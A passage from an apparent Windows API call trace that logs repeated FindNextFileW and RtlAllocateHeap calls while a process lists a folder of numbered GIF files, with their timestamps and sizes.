ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa79e600, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14831_.GIF", cAlternateFileName="")) returned 1 [0073.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.901] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79e600, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa79e600, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14832_.GIF", cAlternateFileName="")) returned 1 [0073.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.901] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79e600, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa79e600, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14833_.GIF", cAlternateFileName="")) returned 1 [0073.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.901] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1796d500, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1796d500, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14866_.GIF", cAlternateFileName="")) returned 1 [0073.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.901] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18c80200, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x18c80200, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14867_.GIF", cAlternateFileName="")) returned 1 [0073.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.901] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18c80200, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x18c80200, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14868_.GIF", cAlternateFileName="")) returned 1 [0073.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.901] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18c80200, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x18c80200, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14869_.GIF", cAlternateFileName="")) returned 1 [0073.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.901] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19f92f00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x19f92f00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14870_.GIF", cAlternateFileName="")) returned 1 [0073.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.901] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19f92f00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x19f92f00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14871_.GIF", cAlternateFileName="")) returned 1 [0073.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.901] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c3a5000, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6c3a5000, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14980_.GIF", cAlternateFileName="")) returned 1 [0073.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.901] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d6b7d00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6d6b7d00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x164, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14981_.GIF", cAlternateFileName="")) returned 1 [0073.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.902] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56d8700, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc56d8700, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0xc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14982_.GIF", cAlternateFileName="")) returned 1 [0073.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.902] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc43c5a00, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc43c5a00, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14983_.GIF", cAlternateFileName="")) returned 1 [0073.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.902] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc30b2d00, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc30b2d00, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0xb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14984_.GIF", cAlternateFileName="")) returned 1 [0073.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.902] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1da0000, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc1da0000, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x40, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14985_.GIF", cAlternateFileName="")) returned 1 [0073.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.902] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57254000, ftCreationTime.dwHighDateTime=0x1bd5ec1, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x57254000, ftLastWriteTime.dwHighDateTime=0x1bd5ec1, nFileSizeHigh=0x0, nFileSizeLow=0x40f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15018_.GIF", cAlternateFileName="")) returned 1 [0073.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.902] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bb99900, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7bb99900, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15019_.GIF", cAlternateFileName="")) returned 1 [0073.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.902] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83dcdc00, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x83dcdc00, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x63, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15020_.GIF", cAlternateFileName="")) returned 1 [0073.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.902] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82abaf00, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x82abaf00, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15021_.GIF", cAlternateFileName="")) returned 1 [0073.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.902] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x817a8200, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x817a8200, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15022_.GIF", cAlternateFileName="")) returned 1 [0073.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.902] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80495500, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x80495500, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15023_.GIF", cAlternateFileName="")) returned 1 [0073.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.902] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95f37700, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaa8f60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x95f37700, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15056_.GIF", cAlternateFileName="")) returned 1 [0073.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.902] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95f37700, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaa8f60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x95f37700, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15057_.GIF", cAlternateFileName="")) returned 1 [0073.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.902] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9724a400, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaa8f60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9724a400, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15058_.GIF", cAlternateFileName="")) returned 1 [0073.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.902] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x319bbb00, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbcaa8f60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x319bbb00, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0xaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15059_.GIF", cAlternateFileName="")) returned 1 [0073.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.903] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x306a8e00, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbcaa8f60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x306a8e00, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x78, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15060_.GIF", cAlternateFileName="")) returned 1 [0073.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.903] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f396100, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbcaa8f60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2f396100, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x77, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15061_.GIF", cAlternateFileName="")) returned 1 [0073.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.903] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfac9e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcacf0c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbfac9e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15132_.GIF", cAlternateFileName="")) returned 1 [0073.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.903] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0ddcb00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcacf0c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc0ddcb00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15133_.GIF", cAlternateFileName="")) returned 1 [0073.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.903] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0ddcb00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcacf0c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc0ddcb00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15134_.GIF", cAlternateFileName="")) returned 1 [0073.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.903] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0ddcb00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcacf0c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc0ddcb00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15135_.GIF", cAlternateFileName="")) returned 1 [0073.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.903] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc20ef800, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaf5220, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc20ef800, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15136_.GIF", cAlternateFileName="")) returned 1 [0073.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.903] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfaba00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaf5220, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcdfaba00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x14b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15168_.GIF", cAlternateFileName="")) returned 1 [0073.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.903] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfaba00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaf5220, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcdfaba00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15169_.GIF", cAlternateFileName="")) returned 1 [0073.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.903] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf2be700, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaf5220, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcf2be700, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x101, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15170_.GIF", cAlternateFileName="")) returned 1 [0073.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.903] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a06a900, ftCreationTime.dwHighDateTime=0x1bd4f40, ftLastAccessTime.dwLowDateTime=0xbcaf5220, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7a06a900, ftLastWriteTime.dwHighDateTime=0x1bd4f40, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15171_.GIF", cAlternateFileName="")) returned 1 [0073.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.903] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf2be700, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcb1b380, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcf2be700, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x130, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15172_.GIF", cAlternateFileName="")) returned 1 [0073.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.903] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77a44f00, ftCreationTime.dwHighDateTime=0x1bd4f40, ftLastAccessTime.dwLowDateTime=0xbcb1b380, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x77a44f00, ftLastWriteTime.dwHighDateTime=0x1bd4f40, nFileSizeHigh=0x0, nFileSizeLow=0x8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15173_.GIF", cAlternateFileName="")) returned 1 [0073.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.903] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb476800, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcb1b380, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfb476800, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15272_.GIF", cAlternateFileName="")) returned 1 [0073.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.904] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc789500, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcb1b380, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfc789500, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15273_.GIF", cAlternateFileName="")) returned 1 [0073.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.904] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc998a500, ftCreationTime.dwHighDateTime=0x1bd4f3f, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc998a500, ftLastWriteTime.dwHighDateTime=0x1bd4f3f, 